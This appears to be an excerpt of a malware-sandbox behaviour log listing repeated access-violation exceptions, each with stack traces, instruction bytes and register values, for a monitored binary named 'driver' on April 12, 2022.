__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:19 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
